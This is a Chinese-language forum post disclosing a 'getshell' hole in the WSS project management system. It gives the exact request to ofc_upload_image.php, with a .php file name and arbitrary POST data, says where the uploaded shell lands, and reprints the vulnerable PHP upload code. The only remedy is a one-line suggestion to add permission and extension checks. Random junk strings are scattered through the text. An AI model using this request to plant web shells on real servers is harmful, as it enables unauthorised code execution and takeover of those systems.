WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- J$ v0 H3 M( A2 \) b& e4 t& Q
利用：
! {* ^/ J2 T' W/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
, a1 F2 b) v9 l' x6 J
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
" i. s& w* S3 v: B, |; H

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
. k3 \1 M/ E& K& C) w4 s
* `3 B6 _  y  w$ @  K0 `<?php
5 h: K7 n% Y6 ?4 p  w& y1 k
3 W+ n, \9 n0 t( \5 g" A//
$ h* l/ ^' x$ J; U$ ~5 W8 x8 d5 j// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
: B# |( s. j/ s# C
/*

  H' H. K* J9 ^: G6 K( bprint_r( $_GET );
0 `' c& p) L% ~print_r( $_POST );
print_r( $_FILES );
; y+ k) R: b0 A; ^
print_r( $GLOBALS );
, e/ _$ ?! c' vprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
  F! C7 z4 Z, D' a* t: ]$default_path = '../tmp-upload-images/';
& V: p) f+ V0 A, ?" q
1 K: }2 w: b- Z( T9 d+ Kif (!file_exists($default_path)) mkdir($default_path, 0777, true);
7 P( x* h+ `4 o3 Y5 `% R
9 W$ |8 F! ?' [// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
4 v6 g' |5 t5 i1 ~2 K: ]$ g
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
8 P; W# F) {2 |# v2 A) |" w// print_r( $_SERVER );
$ F6 v9 e; o/ a( m+ v) x6 ~; d// echo $HTTP_RAW_POST_DATA;

* {6 L% x5 f" t* b2 k6 A//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

# l% J9 O+ y& m3 W7 S$jfh = fopen($destination, 'w') or die("can't open file");
/ Y6 a6 y8 q- A( L5 `* yfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
# ]* x8 x% c8 v( _- o
//
) e" x. o+ Q7 Q6 ?1 O4 Z// LOOK:
//
, _5 p& {. l7 C! }, Q. jexit();
//
// PHP5:
! H6 v3 F+ Z. r: j6 d//
5 a) p4 h8 h3 l* v- }3 h

" K/ p2 f) _/ z7 `) ~6 W// default path for the image to be stored //
8 N4 N" ?/ A; c: Y1 g9 r* ]  Z$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
% p* e) I5 a3 K  u* O' [6 U
$ ?' }8 C( c1 l2 K1 a// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
( T0 o7 z& [  R' s- x
' y) Z2 `( G# S4 E" \2 J// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
. j; D1 M3 J3 T' I; l}
7 E4 x% S# i! D) B7 @8 N

1 L5 }* v; y, r  M3 ]6 p* _$ i- E0 g?>

0 D2 B3 y' h9 R3 ]5 S2 Q2 X; s
' c/ S' u0 _: ^' j6 w( @; U* g8 z


! ?" m- B- i; z/ u
修复方案：
: F! r9 N  z2 z/ l% f/ u- M$ ~这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
' V) n/ i6 ~+ o4 E0 w$ L
; P1 N6 I1 \5 w  c0 J/ r
* G8 M5 B3 T; Y

4 u. U# H$ h5 f. Y, G1 k4 s1 z6 P